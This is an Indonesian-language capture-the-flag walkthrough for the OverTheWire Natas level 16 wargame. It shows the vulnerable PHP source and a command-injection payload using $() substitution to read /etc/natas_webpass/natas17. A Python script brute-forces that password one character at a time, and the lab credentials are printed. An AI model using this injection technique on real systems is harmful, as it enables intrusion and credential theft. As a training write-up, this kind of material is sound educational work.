Link : http://natas16.natas.labs.overthewire.org/
User : natas16
Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Diberikan tampilan awal
Nampaknya kita pernah menemukan soal natas yang ini di challenge sebelumnya, mari kita coba berikan input.
Nampaknya benar, web ini digunakan sebagai sebuah dictionary berbasis regex.
Mari kita coba cek source code nya
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <div id="content"> For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Tetapi, pada challenge kali ini ada beberapa character yang di ban yaitu /[;|&\'”]/ dan backticks, penulis tidak menambahkan simbol backticks karena alasan formating di blog ini, sehingga kita tidak bisa menggunakan cara yang dulu kita gunakan.
Perlu diperhatikan juga kali ini kutip yang ada pada passthru sudah di escapestring sehingga tidak dapat kita end quotes dan memulai command grep baru seperti teknik di challenge yang lalu.
Pada challenge ini, penulis akan menggunakan teknik yang mirip dengan Natas15, pada Natas15 kita menggunakan teknik blind sqli. Pada challenge ini kita akan menginterogasi website dengan sejumlah pertanyaan. Apakah suatu kata, exists dalam dictionary yang disediakan.
Kita tidak diperbolehkan menggunakan backticks untuk mengexecute command, namun masih ada 1 cara lain yaitu menggunakan $(*command*) , apakah yang dimaksud $() ? Itu merupakan sebuah command substitution. Fungsinya sama dengan backticks, ia akan mereturn value dari command yang disediakan.
Dapat dibaca referensi command substitution dari sini
https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html
Jadi konsep penyelesaian ini adalah kita akan melakukan grep dari folder etc/natas_webpass/natas17 untuk mendapatkan password untuk natas17
Untuk sekarang, mari kita asumsikan bahwa password dari natas 17 adalah ABCDEFGH
Maka jika kita melakukan get requests dari urlnya seperti ini
1 |
http://natas16.natas.labs.overthewire.org/?needle=Africans&submit=Search |
Kita mendapatkan 1 result yang kita cari dari dictionary, kita mencari Africans, maka output yang ditampilkan adalah kata Africans yang memang ada di wordlist dictionary.
Namun jika kita mengganti request yang tadi dengan ditambahkan command grep kita dengan contoh
1 |
http://natas16.natas.labs.overthewire.org/?needle=Africans$(grep ^A /etc/natas_webpass/natas17)&submit=Search |
Apa yang dimaksud dengan grep ^A ?
Berarti kita akan melakukan grep dengan regex, mencari yang awalannya A.
Jika kita memiliki sebuah file yang berisi
ABCDEFG
JKLMNOP
QRSTUVW
Maka saat kita lakukan grep ^A dari file tersebut, yang ter output hanya ABCDEFG
Maka yang tadinya kita request dan berhasil yaitu
passthru(“grep -i \”Africans\” dictionary.txt”);
akan menjadi
passthru(“grep -i \”Africans$(grep ^A /etc/natas_webpass/natas17)\” dictionary.txt”);
passthru(“grep -i \”AfricansABCDEFGH\” dictionary.txt”);
Sehingga, web tidak akan menampilkan kata apa-apa karena tidak ada kata AfricansABCDEFGH di wordlist yang disediakan. Dari sini, kita bisa menyimpulkan, bahwa password natas17 memiliki awalan A.
Mari kita buat sebuah script python untuk merepetisisi pertanyaan interogatif ke website tersebut untuk mencari password natas17 sampai lengkap, penulis membuat script seperti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#!/usr/bin/env python3 import requests import string user = "natas16" pw = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" charset = string.ascii_lowercase+string.ascii_uppercase+string.digits loop=True flag="" while loop: loop=False for char in charset: r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=Africans$(grep ^'+flag+char+' /etc/natas_webpass/natas17)&submit=Search',auth=(user,pw)) if 'Africans' not in r.text: flag+=char print('Current Flag : '+flag) loop=True break |
Berhasil !
Password natas17 adalah 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw